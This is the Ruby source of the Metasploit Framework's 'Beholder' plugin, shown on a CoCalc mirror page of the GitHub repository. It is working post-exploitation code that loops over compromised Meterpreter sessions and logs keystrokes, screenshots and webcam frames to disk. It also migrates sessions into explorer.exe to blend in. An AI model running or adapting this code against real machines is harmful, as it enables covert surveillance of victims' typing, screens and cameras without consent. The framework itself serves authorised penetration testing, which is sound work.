CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/plugins/beholder.rb
Views: 11705
1
# -*- coding:binary -*-
2
3
require 'fileutils'
4
5
module Msf
6
class Plugin::Beholder < Msf::Plugin
7
8
#
9
# Worker Thread
10
#
11
12
class BeholderWorker
13
attr_accessor :framework, :config, :driver, :thread, :state
14
15
def initialize(framework, config, driver)
16
self.state = {}
17
self.framework = framework
18
self.config = config
19
self.driver = driver
20
self.thread = framework.threads.spawn('BeholderWorker', false) do
21
begin
22
start
23
rescue ::Exception => e
24
warn "BeholderWorker: #{e.class} #{e} #{e.backtrace}"
25
end
26
27
# Mark this worker as dead
28
self.thread = nil
29
end
30
end
31
32
def stop
33
return unless thread
34
35
begin
36
thread.kill
37
rescue StandardError
38
nil
39
end
40
self.thread = nil
41
end
42
43
def start
44
driver.print_status("Beholder is logging to #{config[:base]}")
45
bool_options = %i[screenshot webcam keystrokes automigrate]
46
bool_options.each do |o|
47
config[o] = !(config[o].to_s =~ /^[yt1]/i).nil?
48
end
49
50
int_options = %i[idle freq]
51
int_options.each do |o|
52
config[o] = config[o].to_i
53
end
54
55
::FileUtils.mkdir_p(config[:base])
56
57
loop do
58
framework.sessions.each_key do |sid|
59
if state[sid].nil? ||
60
(state[sid][:last_update] + config[:freq] < Time.now.to_f)
61
process(sid)
62
end
63
rescue ::Exception => e
64
session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")
65
end
66
sleep(1)
67
end
68
end
69
70
def process(sid)
71
state[sid] ||= {}
72
store_session_info(sid)
73
return unless compatible?(sid)
74
return if stale_session?(sid)
75
76
verify_migration(sid)
77
cache_sysinfo(sid)
78
collect_keystrokes(sid)
79
collect_screenshot(sid)
80
collect_webcam(sid)
81
end
82
83
def session_log(sid, msg)
84
::File.open(::File.join(config[:base], 'session.log'), 'a') do |fd|
85
fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{state[sid][:info]}] #{msg}"
86
end
87
end
88
89
def store_session_info(sid)
90
state[sid][:last_update] = Time.now.to_f
91
return if state[sid][:initialized]
92
93
state[sid][:info] = framework.sessions[sid].info
94
session_log(sid, 'registered')
95
state[sid][:initialized] = true
96
end
97
98
def capture_filename(sid)
99
state[sid][:name] + '_' + Time.now.strftime('%Y%m%d-%H%M%S')
100
end
101
102
def store_keystrokes(sid, data)
103
return if data.empty?
104
105
filename = capture_filename(sid) + '_keystrokes.txt'
106
::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
107
session_log(sid, "captured keystrokes to #{filename}")
108
end
109
110
def store_screenshot(sid, data)
111
filename = capture_filename(sid) + '_screenshot.jpg'
112
::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
113
session_log(sid, "captured screenshot to #{filename}")
114
end
115
116
def store_webcam(sid, data)
117
filename = capture_filename(sid) + '_webcam.jpg'
118
::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }
119
session_log(sid, "captured webcam snap to #{filename}")
120
end
121
122
# TODO: Stop the keystroke scanner when the plugin exits
123
def collect_keystrokes(sid)
124
return unless config[:keystrokes]
125
126
sess = framework.sessions[sid]
127
unless state[sid][:keyscan]
128
# Consume any error (happens if the keystroke thread is already active)
129
begin
130
sess.ui.keyscan_start
131
rescue StandardError
132
nil
133
end
134
state[sid][:keyscan] = true
135
return
136
end
137
138
collected_keys = sess.ui.keyscan_dump
139
store_keystrokes(sid, collected_keys)
140
end
141
142
# TODO: Specify image quality
143
def collect_screenshot(sid)
144
return unless config[:screenshot]
145
146
sess = framework.sessions[sid]
147
collected_image = sess.ui.screenshot(50)
148
store_screenshot(sid, collected_image)
149
end
150
151
# TODO: Specify webcam index and frame quality
152
def collect_webcam(sid)
153
return unless config[:webcam]
154
155
sess = framework.sessions[sid]
156
begin
157
sess.webcam.webcam_start(1)
158
collected_image = sess.webcam.webcam_get_frame(100)
159
store_webcam(sid, collected_image)
160
ensure
161
sess.webcam.webcam_stop
162
end
163
end
164
165
def cache_sysinfo(sid)
166
return if state[sid][:sysinfo]
167
168
state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo
169
state[sid][:name] = "#{sid}_" + (state[sid][:sysinfo]['Computer'] || 'Unknown').gsub(/[^A-Za-z0-9._-]/, '')
170
end
171
172
def verify_migration(sid)
173
return unless config[:automigrate]
174
return if state[sid][:migrated]
175
176
sess = framework.sessions[sid]
177
178
# Are we in an explorer process already?
179
pid = sess.sys.process.getpid
180
session_log(sid, "has process ID #{pid}")
181
ps = sess.sys.process.get_processes
182
this_ps = ps.select { |x| x['pid'] == pid }.first
183
184
# Already in explorer? Mark the session and move on
185
if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'
186
session_log(sid, 'is already in explorer.exe')
187
state[sid][:migrated] = true
188
return
189
end
190
191
# Attempt to migrate, but flag that we tried either way
192
state[sid][:migrated] = true
193
194
# Grab the first explorer.exe process we find that we have rights to
195
target_ps = ps.select { |x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first
196
unless target_ps
197
# No explorer.exe process?
198
session_log(sid, 'no explorer.exe process found for automigrate')
199
return
200
end
201
202
# Attempt to migrate to the target pid
203
session_log(sid, "attempting to migrate to #{target_ps.inspect}")
204
sess.core.migrate(target_ps['pid'])
205
end
206
207
# Only support sessions that have core.migrate()
208
def compatible?(sid)
209
framework.sessions[sid].respond_to?(:core) &&
210
framework.sessions[sid].core.respond_to?(:migrate)
211
end
212
213
# Skip sessions with ancient last checkin times
214
def stale_session?(sid)
215
return unless framework.sessions[sid].respond_to?(:last_checkin)
216
217
session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i
218
# TODO: Make the max age configurable, for now 5 minutes seems reasonable
219
if session_age > 300
220
session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")
221
return true
222
end
223
return
224
end
225
226
end
227
228
#
229
# Command Dispatcher
230
#
231
232
class BeholderCommandDispatcher
233
include Msf::Ui::Console::CommandDispatcher
234
235
@@beholder_config = {
236
screenshot: true,
237
webcam: false,
238
keystrokes: true,
239
automigrate: true,
240
base: ::File.join(Msf::Config.config_directory, 'beholder', Time.now.strftime('%Y-%m-%d.%s')),
241
freq: 30,
242
# TODO: Only capture when the idle threshold has been reached
243
idle: 0
244
}
245
246
@@beholder_worker = nil
247
248
def name
249
'Beholder'
250
end
251
252
def commands
253
{
254
'beholder_start' => 'Start capturing data',
255
'beholder_stop' => 'Stop capturing data',
256
'beholder_conf' => 'Configure capture parameters'
257
}
258
end
259
260
def cmd_beholder_stop(*_args)
261
unless @@beholder_worker
262
print_error('Error: Beholder is not active')
263
return
264
end
265
266
print_status('Beholder is shutting down...')
267
stop_beholder
268
end
269
270
def cmd_beholder_conf(*args)
271
parse_config(*args)
272
print_status('Beholder Configuration')
273
print_status('----------------------')
274
@@beholder_config.each_pair do |k, v|
275
print_status(" #{k}: #{v}")
276
end
277
end
278
279
def cmd_beholder_start(*args)
280
opts = Rex::Parser::Arguments.new(
281
'-h' => [ false, 'This help menu']
282
)
283
284
opts.parse(args) do |opt, _idx, _val|
285
case opt
286
when '-h'
287
print_line('Usage: beholder_start [base=</path/to/directory>] [screenshot=<true|false>] [webcam=<true|false>] [keystrokes=<true|false>] [automigrate=<true|false>] [freq=30]')
288
print_line(opts.usage)
289
return
290
end
291
end
292
293
if @@beholder_worker
294
print_error('Error: Beholder is already active, use beholder_stop to terminate')
295
return
296
end
297
298
parse_config(*args)
299
start_beholder
300
end
301
302
def parse_config(*args)
303
new_config = args.map { |x| x.split('=', 2) }
304
new_config.each do |c|
305
unless @@beholder_config.key?(c.first.to_sym)
306
print_error("Invalid configuration option: #{c.first}")
307
next
308
end
309
@@beholder_config[c.first.to_sym] = c.last
310
end
311
end
312
313
def stop_beholder
314
@@beholder_worker.stop if @@beholder_worker
315
@@beholder_worker = nil
316
end
317
318
def start_beholder
319
@@beholder_worker = BeholderWorker.new(framework, @@beholder_config, driver)
320
end
321
322
end
323
324
#
325
# Plugin Interface
326
#
327
328
def initialize(framework, opts)
329
super
330
add_console_dispatcher(BeholderCommandDispatcher)
331
end
332
333
def cleanup
334
remove_console_dispatcher('Beholder')
335
end
336
337
def name
338
'beholder'
339
end
340
341
def desc
342
'Capture screenshots, webcam pictures, and keystrokes from active sessions'
343
end
344
end
345
end
346
347